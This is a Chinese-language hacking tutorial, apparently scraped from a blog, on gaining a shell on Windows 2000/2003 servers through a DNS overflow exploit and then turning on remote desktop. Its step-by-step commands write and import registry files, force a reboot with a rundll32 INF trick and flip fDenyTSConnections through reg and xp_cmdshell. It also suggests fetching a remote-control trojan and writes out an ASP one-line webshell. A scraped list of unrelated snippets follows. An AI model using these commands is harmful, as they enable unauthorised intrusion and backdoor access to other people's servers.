cmd 3389
1、2000系统
简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:\WINNT\system32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码:
@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%\{out}.inf
按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。
2、2003系统
相对于2000的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。
在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有一个"reg"命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用"reg"命令开启远程桌面服务。执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成,如图9。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据。现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。
四、其他
当然了,溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo个vbs文件,下载远程控制木马,然后在cmdshell里运行一下木马,上线就OK了。还有就是可以查询一下目标IP是否绑定有网站,然后找到网站目录,再用echo个一句话木马进去(命令是:echo "<%execute request("cmd")%>" >WEB路径\test.asp),然后提交大马呀,上传开3389的工具再开启也行!总之方法不只一个,能达到目的就是好方法
***下面是利用数据库xp_cmdshell 开启:
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查看状态
exec xp_cmdshell 'reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"'
cmd 3389的更多相关文章
- cmd开启3389
如何用CMD开启3389与查看3389端口 开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server / ...
- 开启 3389 的 cmd 命令
方法一: 测试环境 Windows 2003 server 查看开启的端口 没有开启 3389 端口 执行语句 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAM ...
- CMD开放3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t R ...
- cmd创建用户开启3389命令
1.创建用户chen Net user chen 1234566 /add 2.将用户chen添加到管理员组 net localgroup Administrators chen /add 3.开启3 ...
- 如何用CMD开启3389与查看3389端口
开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections / ...
- cmd部分提权常用命令
ipconfig 显示本地IP地址 net start telnet 开telnet服务 net use z:127.0.0.1c$ 映射对方的C盘 net user 查看所有用户列表 net use ...
- Windows CMD命令大全
http://greatverve.cnblogs.com/archive/2011/12/09/windows-cmd.html 命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机 ...
- Windows CMD命令大全【转】
命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全.稳定,有的用户还在使用,所以一 ...
- Windows CMD命令大全(转)
Windows CMD命令大全 命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行 ...
随机推荐
- CentOS7 PostgreSQL 主从配置( 一)
主库配置 pg_hba.conf host replication all 10.2.0.0/0 trust postgresql.conf listen_addresses = '*' max_wa ...
- Failed to load c++ bson extension, using pure JS version
Failed to load c++ bson extension, using pure JS version npm install mongodbnpm install bson npm ins ...
- shell脚本字符串截取
假设有变量 var=http://www.google.com/test.htm 一 # 号截取,删除左边字符,保留右边字符.echo ${var#*//}其中 var 是变量名,# 号是运算符,*/ ...
- TextUtils判断
System.out.println(TextUtils.isEmpty(null)); System.out.println(TextUtils.isEmpty(""));
- 免费 WebOffice使用
目前WebOffice使用比较多主要有两个公司的产品,分别是江西金格和北京点聚.但是点聚的是免费的,虽然有欠缺之处,但是经过个人修改还是比较好用的,关键一点是,它免费啊! 把一个最主要加载页面,如果读 ...
- STM32F10x_模拟I2C读写_硬件I2C读写
STM32F10x_模拟I2C读写EEPROM STM32F10x_硬件I2C读写EEPROM(标准外设库版本) STM32F10x_硬件I2C主从通信(轮询发送,中断接收)
- ref与out之间的区别整理 摘自与望楼http://blog.csdn.net/xiaoning8201/article/details/6893154
ref和out都是C#中的关键字,所实现的功能也差不多,都是指定一个参数按照引用传递. 对于编译后的程序而言,它们之间没有任何区别,也就是说它们只有语法区别. 总结起来,他们有如下语法区别: .ref ...
- sql server字段是逗号分割的id,关联明细表查询
有时候一张表的一个字段是以逗号分割的一个字符串,分割的数字是明细表的主键id. 关联明细表查询可以这样做: ) ) --这是把areanos字段赋值给@areanos变量 set @areanos=' ...
- string.IsNullOrWhiteSpace
string.IsNullOrWhiteSpace(str) 这个是判断所有空白字符,功能相当于string.IsNullOrEmpty和str.Trim().Length总和,他将字符串给Char. ...
- php 常用的JS
function doit(){ var sel_val=$("#type").val(); if (sel_val=='') { $("#bigClassId1&q ...